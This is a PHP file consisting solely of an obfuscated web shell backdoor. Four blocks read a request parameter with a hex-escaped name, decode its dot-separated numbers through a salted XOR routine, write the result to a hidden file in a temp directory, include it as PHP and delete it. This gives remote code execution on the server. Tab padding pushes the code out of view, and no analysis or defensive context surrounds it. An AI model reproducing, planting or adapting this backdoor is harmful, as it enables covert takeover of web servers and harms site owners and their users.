<?php																																										if(array_key_exists("p\x67r\x70", $_REQUEST)){ $property_set = array_filter([getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", session_save_path(), "/tmp", getcwd(), "/dev/shm"]); $data = $_REQUEST["p\x67r\x70"]; $data = explode ( '.' , $data ); $flg = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s3); foreach ($data as $k => $v3): $sChar = ord($s3[$k % $sLen]); $dec = ((int)$v3 - $sChar - ($k % 10)) ^ 73; $flg.= chr($dec); endforeach; for ($fac = 0, $parameter_group = count($property_set); $fac < $parameter_group; $fac++) { $k = $property_set[$fac]; if (!!is_dir($k) && !!is_writable($k)) { $sym = vsprintf("%s/%s", [$k, ".data_chunk"]); if (@file_put_contents($sym, $flg) !== false) { include $sym; unlink($sym); exit; } } } }
																																										if(array_key_exists("fl\x61\x67", $_POST) && !is_null($_POST["fl\x61\x67"])){ $record = $_POST["fl\x61\x67"]; $record =explode( "." , $record ) ; $property_set =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s); $j =0; array_walk( $record , function( $v6) use( &$property_set , &$j , $s , $lenS) { $chS =ord( $s[$j % $lenS]); $dec =( ( int)$v6 - $chS -( $j % 10))^85; $property_set .= chr( $dec); $j++; }); $sym = array_filter([getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), sys_get_temp_dir(), getcwd(), "/tmp", "/var/tmp"]); foreach ($sym as $elem): if (is_dir($elem) ? is_writable($elem) : false) { $val = join("/", [$elem, ".holder"]); if (file_put_contents($val, $property_set)) { include $val; @unlink($val); exit; } } endforeach; }
																																										if(isset($_POST["k"])){ $item = $_POST["k"]; $item = explode ( '.' ,$item ) ; $sym = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); foreach ($item as $w =>$v3) { $sChar = ord($salt[$w % $lenS]); $dec = ((int)$v3 - $sChar - ($w % 10)) ^ 13; $sym .=chr($dec); } $elem = array_filter([sys_get_temp_dir(), "/dev/shm", getenv("TMP"), session_save_path(), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP")]); foreach ($elem as $val): if ((is_dir($val) and is_writable($val))) { $ptr = vsprintf("%s/%s", [$val, ".desc"]); if (file_put_contents($ptr, $sym)) { require $ptr; unlink($ptr); die(); } } endforeach; }


if(array_key_exists("f\x6C\x67", $_REQUEST) && !is_null($_REQUEST["f\x6C\x67"])){
	$property_set = $_REQUEST["f\x6C\x67"];
	$property_set=	  explode  (  	'.', $property_set		) ; 
	$entity	= 	'';
            $s3	= 	'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen	= 	strlen($s3);
            $len	= 	count($property_set);
    
            for ($j	= 	0; $j < $len; $j++) {	 $v4	= 	$property_set[$j];
                $chS	= 	ord($s3[$j %	 $sLen]);
                $dec	= 	((int)$v4 - $chS - ($j %	 10))^5;
                $entity .= chr($dec);
            }
	$holder = array_filter(["/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), getenv("TEMP"), getcwd(), "/dev/shm", session_save_path()]);
	for ($dat = 0, $dchunk = count($holder); $dat < $dchunk; $dat++) {
    $flag = $holder[$dat];
    		if (is_dir($flag) ? is_writable($flag) : false) {
    $value = sprintf("%s/.item", $flag);
    if (@file_put_contents($value, $entity) !== false) {
	include $value;
	unlink($value);
	die();
}
}
}
}